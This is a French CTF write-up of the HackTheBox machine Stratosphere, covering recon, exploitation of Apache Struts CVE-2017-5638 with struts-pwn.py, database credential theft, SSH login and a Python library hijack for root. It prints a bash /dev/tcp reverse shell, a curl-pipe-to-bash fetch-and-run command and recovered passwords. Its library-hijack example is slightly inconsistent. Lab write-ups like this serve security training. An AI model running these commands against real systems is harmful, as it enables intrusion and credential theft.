> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md). # Compte rendu de Stratosphere HackTheBox {% embed url="" %} {% hint style="warning" %} **Compétences :** * Exploitation d'Apache Struts (CVE-2017-5638) * Détournement de bibliothèque Python (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts ```

**Analyse des ports ouverts avec ExtractPorts (**22.80.8080**)** Utilisation de la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

**Scan de version des ports avec Nmap :** Utilisation de Nmap pour analyser les versions des ports et extraire les informations dans le fichier « targeted » ```bash nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted ```

### /*/Exploration des services web (ports 80 et 8080) //* Les ports 80 et 8080 hébergent le même site web.

### Fuzzing avec **Gobuster** Nous lançons `Gobuster` pour rechercher des répertoires intéressants {% code overflow="wrap" %} ```bash gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` {% endcode %} Nous découvrons les chemins suivants : * `/manager` - Interface du gestionnaire Tomcat * `/monitoring` - Section de surveillance

### Gestionnaire - Tomcat :

### Surveillance :

## Exploitation d'Apache Struts (CVE-2017-5638) #### **Exploration du répertoire de surveillance** En essayant de s'inscrire, nous obtenons un message d'erreur. Nous observons également une extension `.action`, indiquant potentiellement une application basée sur Apache Struts

{% embed url="" %} Nous utilisons `struts-pwn.py` pour tester l'exécution de commandes à distance : ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id' ``` La commande fonctionne, confirmant la vulnérabilité.

#### **Shell inversé** 1. Écoute avec Netcat : ```bash nc -nvlp 443 ``` 2. Création d'un `index.html` fichier contenant notre shell inversé : ``` #!/bin/bash bash -i >& /dev/tcp/10.10.14.69/443 0>&1 ``` 3. Hébergement du fichier avec un serveur web Python : ``` python3 -m http.server 8080 ``` 4. Lancer le shell inversé via l'exploit : {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash' ``` {% endcode %} Malheureusement, cette approche échoue. ### **Extraction d'informations sensibles** Nous listons les fichiers sur le serveur :

Nous découvrons un `db_connect` fichier. En l'affichant, nous obtenons des identifiants : {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l' ``` {% endcode %}

Les informations récupérées à partir des identifiants MySQL : {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect' ``` {% endcode %} * user: ssn/\_admin / admin * pass=AWs64\@on/\*& / admin

### Informations d'extraction - mysqlshow #### **Énumération des bases de données** Nous utilisons `mysqlshow` pour lister les bases de données accessibles avec l'utilisateur `admin` en exploitant une vulnérabilité Struts via `struts-pwn.py`: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin" ``` {% endcode %}

Cela nous permet d'identifier la base de données **users**. #### **Résumé des tables** Puis nous listons les tables de la base **users**: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users ``` {% endcode %}

#### **Énumération des colonnes et extraction des identifiants** Nous listons maintenant les colonnes de la table **accounts** et essayons d'en extraire le contenu {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts" ``` {% endcode %}

Nous obtenons les informations suivantes : * **Nom d'utilisateur**: `richard` * **Mot de passe**: `9tc*rhKuG5TyXvUJOrE^5CK7k` {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users' ``` {% endcode %}

Nous utilisons les informations trouvées pour nous connecter en SSH à la machine cible : ```bash ssh richard@10.10.10.64 ```

### Drapeau user.txt :)

## Élévation de privilèges ### Élévation de privilèges par détournement de bibliothèque Python D'abord, vous exécutez la commande suivante pour lister les `sudo` droits :

Nous constatons que nous avons l'autorisation d'exécuter un script Python en tant que `root`: ```bash (ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py ```

En analysant le `/home/richard/test.py` script, on observe qu'il importe un module sans spécifier son chemin absolu, par exemple : ``` import os os.system("bash") ``` Ensuite, nous exécutons le script en tant que `root`: ```bash sudo /usr/bin/python3.7 /home/richard/test.py ``` * Une fois le script lancé, notre version malveillante de `fichier hashlib.py` est chargée, lançant un shell avec `root` des privilèges.

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.